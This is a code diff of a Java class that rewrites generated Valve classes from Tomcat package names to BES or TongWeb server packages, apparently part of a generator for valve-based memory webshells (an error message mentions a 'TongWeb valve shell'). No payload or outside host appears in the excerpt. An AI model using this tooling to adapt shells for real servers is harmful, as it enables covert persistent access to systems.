builder = modifier(builder, server, shellConfig.getServerVersion());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
|
public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
|
||||||
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
||||||
@@ -46,33 +30,24 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
|||||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||||
|
|
||||||
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||||
String packageName = null;
|
String packageName = null;
|
||||||
if (shell instanceof Bes) {
|
if (serverVersion.equals("6")) {
|
||||||
|
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||||
|
} else if (serverVersion.equals("7")) {
|
||||||
|
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||||
|
} else if (serverVersion.equals("8")) {
|
||||||
|
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||||
|
} else if (shell instanceof Bes) {
|
||||||
packageName = BES_VALVE_PACKAGE;
|
packageName = BES_VALVE_PACKAGE;
|
||||||
}
|
}
|
||||||
if (shell instanceof TongWeb) {
|
if (StringUtils.isEmpty(packageName)) {
|
||||||
if (serverVersion == null) {
|
if (shell instanceof TongWeb) {
|
||||||
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
|
||||||
}
|
|
||||||
switch (serverVersion) {
|
|
||||||
case "6":
|
|
||||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
|
||||||
break;
|
|
||||||
case "7":
|
|
||||||
packageName = TONGWEB7_VALVE_PACKAGE;
|
|
||||||
break;
|
|
||||||
case "8":
|
|
||||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
|
||||||
}
|
}
|
||||||
|
return builder;
|
||||||
}
|
}
|
||||||
if (StringUtils.isNotBlank(packageName)) {
|
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
||||||
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||||
@@ -104,7 +79,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
|||||||
int readerFlags) {
|
int readerFlags) {
|
||||||
return new ClassRemapper(
|
return new ClassRemapper(
|
||||||
classVisitor,
|
classVisitor,
|
||||||
new Remapper(Opcodes.ASM9) {
|
new Remapper() {
|
||||||
@Override
|
@Override
|
||||||
public String map(String typeName) {
|
public String map(String typeName) {
|
||||||
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
|
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
|
||||||